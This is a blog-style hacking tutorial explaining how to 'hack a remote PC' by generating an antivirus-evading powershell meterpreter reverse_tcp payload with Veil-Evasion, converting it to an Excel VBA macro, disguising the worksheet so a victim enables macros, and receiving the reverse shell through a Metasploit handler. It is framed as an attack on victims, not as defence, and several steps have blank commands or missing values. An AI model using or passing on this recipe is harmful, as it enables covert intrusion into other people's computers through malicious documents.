Hack Remote PC using Malicious MS Office Documents

Veil-Evasion is a powerful tool to generate payload executables that bypass common antivirus solutions.

To install veil-evasion on your kali linux, type :

apt-get install veil-evasion

 After the installation completes, run veil-evasion with the following command on terminal, in the installed directory of veil-evasion:


To see the options of payloads type list

We can see a menu of the available payloads to use. There are plenty of payloads to use.

We will be using the payload id-24. We type the command:

use powershell/meterpreter/rev_tcp

After that set local host(Your PC’s IP). In my case it is Hence:

set lhost

set lport 4444

And then generate the payload:


Enter the name of file. Let the name of file to be generated be demo. Therefore;


Now, the Veil-Evasion tool has created a bat file in powershell code in the directory:


Now, open a new terminal and open veil-evasion again( using command ‘veil-evasion’) and then type:

use auxiliary/macro_converter

macro_converter converts the bat file into a readable txt file. Under this, type the following commands to generate a txt file:

set POSH_BATCH /var/lib/veil-evasion/output/source/demo.bat


This generates a txt file in /var/lib/veil-evasion/output directory.

Copy the code written in the generated txt file.

Now open windows->New Microsoft  Office Excel Worksheet->view(on the top bar)->macro

Enter the macro name->create

Then in the Macro editing area(or the workbook) copy paste the code present in “demo1.txt” to the workbook and save macro.

Now, edit the Microsoft excel worksheet so as to make it look authentic and edit it in such a way that the victim should definitely enable Macro option( given it is disabled).

Just for the case of simplicity and tutorial, I enter something random and save it as Microsoft Excel document 97-2003.

Now, all you have to do is wait for the victim to open the Excel file and enable Macros option.

Meanwhile, go to Kali Linux terminal and open metasploit framework(>msfconsole) and type the following commands:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost

set lport 4444


Author: Harshit Rajpal is an InfoSec researcher and has a keen interest in technology. contact here

Leave a Reply

Your email address will not be published. Required fields are marked *